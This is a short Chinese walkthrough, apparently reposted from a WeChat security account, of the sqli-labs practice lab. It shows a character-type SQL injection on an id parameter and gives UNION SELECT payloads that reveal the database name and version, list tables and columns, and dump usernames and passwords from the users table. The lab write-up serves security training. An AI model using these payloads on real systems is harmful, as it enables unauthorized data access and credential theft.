提示输入数字值为ID参数,输入id=1进行测试
输入不同的数字值进行测试
判断SQL语句是否进行拼接,且判断是否是字符型或者是数字型。
根据页面结果可以看出是字符型且存在SQL注入漏洞,页面存在回显,使用联合查询
这儿出现报错说明只有3列
?id=1'order by 3 --+
爆出显示位,看表格里面哪一列是在页面显示。根据页面回显看到是第二列和第三列。
?id=-1'union select 1,2,3--+
获取当前数据库跟版本号,得到数据是security,版本是5.7.26。
?id=-1'union select 1,database(),version()--+
得到数据库名跟版本后我们接着爆表
?id=-1'union select1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
爆出报表名后爆字段名,通过sql语句查询知道数据库有四个表,根据表名知道用户的账户和密码是在users表中。接下来我们就是得到user表下的字段名跟内容
?id=-1'union select1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
根据显示页面发现有两个敏感字段username和password,我们下来尝试获取该字段的内容
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
原文始发于微信公众号(不言安全):sqli-labs
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论